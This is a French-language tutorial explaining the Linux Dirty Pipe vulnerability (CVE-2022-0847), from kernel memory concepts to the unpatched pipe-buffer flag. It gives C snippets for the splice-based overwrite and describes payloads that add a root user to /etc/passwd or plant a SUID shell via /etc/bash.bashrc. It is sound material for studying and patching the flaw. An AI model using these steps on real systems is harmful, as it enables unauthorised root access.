
Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) est l'une des vulnérabilités de sécurité les plus importantes dans le noyau Linux 5.8 – 5.15.24, découverte par Max Kellermann en 2022. Cette vulnérabilité permet aux utilisateurs ordinaires (sans privilèges spéciaux) d'écraser des données dans des fichiers qui devraient être en lecture seule. Comprendre les concepts de base
Avant de discuter de Dirty Pipe en détail, voici quelques concepts internes du noyau Linux qui doivent être compris :
1. Pagination
La pagination est un mécanisme de gestion de la mémoire dans le noyau Linux où le système mémoire divise la mémoire physique en petits blocs de taille fixe appelés cadres de page (page frames), et la mémoire virtuelle est divisée en blocs de même taille appelés pages.
Ce mécanisme permet au noyau de mapper l'espace d'adressage virtuel des processus vers la mémoire physique de manière non séquentielle, ce qui est crucial pour l'efficacité et la sécurité des systèmes modernes.
2. Page (Mémoire virtuelle)
Sous Linux, une page est la plus petite unité de gestion de la mémoire physique manipulée par le noyau.
Analogie : la RAM est comme un livre géant. Une page est une feuille de papier dans ce livre. Le noyau ne déplace pas les données bit par bit, mais feuille par feuille (page par page).
Généralement, sur les architectures de systèmes modernes (comme x86_64), la taille standard d'une page est de 4 Ko (4096 octets).
3. Cache de pages
C'est une partie cruciale. Linux ne lit pas les fichiers directement depuis le disque à chaque fois car c'est lent. Le noyau copie le contenu des fichiers dans la RAM, appelé le Cache de pages.
4. Pipe Buffer
Le tube (pipe) est un mécanisme de communication inter-processus (IPC). En interne, le noyau gère les tubes à l'aide de la structure de données pipe_inode_info. Les données à l'intérieur d'un tube sont stockées dans un « tampon » appelé Pipe Buffer.
5. Drapeau de Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
Le drapeau PIPE_BUF_FLAG_CAN_MERGE a été introduit dans le noyau Linux version 5.8.
C'est là que se trouve la vulnérabilité principale. Le drapeau nommé PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() est un appel système pour déplacer des données entre deux descripteurs de fichier sans copier les données entre l'espace noyau et l'espace utilisateur. Ceci est souvent appelé un mécanisme de zéro-copie.
L'appel système splice() est le « acteur principal » de Dirty Pipe :
7. Copie sur écriture (CoW)
Le mécanisme de copie sur écriture (CoW) est une stratégie d'optimisation de gestion de la mémoire utilisée par le noyau Linux pour retarder la copie des données jusqu'à ce qu'elle soit absolument nécessaire.
La relation entre la copie sur écriture (CoW) et l'exploit Dirty Pipe (CVE-2022-0847) concerne la manière dont un petit bogue dans le noyau Linux « trompe » avec succès le mécanisme CoW, permettant d'écrire des données dans des fichiers qui devraient être en lecture seule.
8. Page sale
Une page sale est une page mémoire en RAM qui a été modifiée par une application, mais les modifications n'ont pas encore été réécrites sur le stockage secondaire (tel qu'un SSD ou un disque dur).
Analyse de la vulnérabilité Dirty Pipe
Dirty Pipe est un type de bogue logique dans la gestion des Pipe Buffers du noyau Linux 5.8 au noyau Linux 5.15.24. Le problème principal réside dans le mécanisme de tube (canal de communication inter-processus) et la manière dont le noyau gère le cache de pages (mémoire qui stocke les copies des données du fichier provenant du disque). Le problème central est un bogue dans le drapeau PIPE_BUF_FLAG_CAN_MERGE.
Le problème principal réside dans l'incapacité du noyau à réinitialiser correctement ce drapeau (bogue logique). Voici l'analyse du code : Dans les fonctions copy_page_to_iter_pipe et push_to_pipe du noyau Linux avant la version 5.16.11, lors des opérations splice, le noyau prépare la structure pipe_buffer mais oublie de nettoyer le membre .flags.
Structure de code vulnérable :
// Emplacement du problème : fs/pipe.c ou include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- CE DRAPEAU N'EST PAS RÉINITIALISÉ
unsigned long private;
};
Code avant le correctif (vulnérable) :
// lib/iov_iter.c - Avant le correctif CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLÈME : buf->flags N'EST PAS DU TOUT TOUCHÉ
// --------snip----------------------
}
Code après le correctif (corrigé) :
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- RÉINITIALISATION TOTALE À ZÉRO
Pourquoi buf->flags = 0 est-il meilleur que de simplement désactiver un drapeau spécifique ? Parce que pipe_buffer est une structure réutilisée. Si nous désactivons seulement un drapeau (CAN_MERGE), d'autres drapeaux résiduels provenant d'utilisations précédentes du tube (tels que PIPE_BUF_FLAG_GIFT ou d'autres drapeaux personnalisés) pourraient encore subsister et provoquer un comportement étrange ou de nouvelles failles de sécurité à l'avenir. Le mettre à 0 garantit que le tampon est dans un état complètement « propre ».
Pourquoi cela peut-il être exploité ?
Voici le flux d'exploitation de Dirty Pipe :
1. Étape de pollution : L'attaquant insère des données dans le tube via write(). Une opération write() normale définit buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Étape de vidange : L'attaquant lit ces données. Le tampon est maintenant logiquement « vide », mais sa structure existe toujours dans la mémoire du noyau avec le drapeau CAN_MERGE toujours actif.
3. Étape de splice : Lorsque l'appel système splice() mappe un fichier en lecture seule vers un tube, la fonction copy_page_to_iter_pipe() est appelée. En raison du bogue ci-dessus, elle remplit buf->page avec la page mémoire du fichier original mais ne réinitialise pas buf->flags.
4. Exécution : Le noyau pense que ce tampon de fichier peut encore être fusionné. La prochaine écriture dans le tube ne créera pas un nouveau tampon, mais modifiera directement la page mémoire (cache de pages) qui a été mappée plus tôt.
À ce stade, les données de l'attaquant sont déjà stockées dans la RAM. Une page en RAM dont le contenu diffère de ce qui se trouve sur le disque est appelée une « Page sale ». Si cette étape est atteinte avec succès, cela signifie que l'exploitation a réussi ! Une fois le cache de pages modifié, l'effet est instantané. Si nous écrasons /etc/passwd dans la RAM, nous pouvons immédiatement exécuter su root à ce moment précis.
Exploitation de Dirty Pipe
Pour l'exploitation de Dirty Pipe, nous n'avons pas besoin de désactiver les protections du noyau car toutes les protections du noyau sont inappropriées pour empêcher ce bogue logique. Pour exploiter le bogue logique de page sale, notre exploit effectuera les étapes suivantes :
Étape 1. Préparer le tube et le remplir jusqu'à ce qu'il soit plein dans le but de déclencher le drapeau PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Étape 2. Vider le tube.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Code d'exploitation complet pour Dirty Pipe Le code d'exploitation complet est disponible sur https://github.com/bluedragonsecurity/dirtypipe2
Remarque : Le code d'exploitation complet contient des fonctions pour la validation de la version du noyau, la préparation du tube, l'injection de charge utile, et deux méthodes d'exploitation différentes ciblant /etc/passwd et /etc/bash.bashrc.
Méthodes d'exploitation
L'exploit ci-dessus utilise 2 charges utiles différentes avec l'objectif que si la première charge échoue, elle sera enchaînée par la seconde.
Charge utile 1 : Écrire dans /etc/passwd pour ajouter un nouvel utilisateur nommé 'toor' avec l'uid 0. Si cette charge réussit, nous pouvons immédiatement obtenir un shell root.
Charge utile 2 : Vise à déposer un shell bash SUID dans /tmp/x. Spécifiquement pour la seconde charge, elle doit attendre que l'utilisateur root du système se connecte car la charge pour déposer le shell SUID est injectée dans /etc/bash.bashrc. Sous Linux, les commandes contenues dans /etc/bash.bashrc sont exécutées par chaque utilisateur qui se connecte au système au moment de la connexion.
Test de l'exploit
Dans cet exemple, j'ai utilisé le noyau Linux 5.13 tournant sur Lubuntu 20.04.5 dans VirtualBox en tant qu'OS invité et l'OS hôte est Kali Linux 2025.4. Sur la machine Lubuntu 20.04.5, compilez l'exploit :
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Références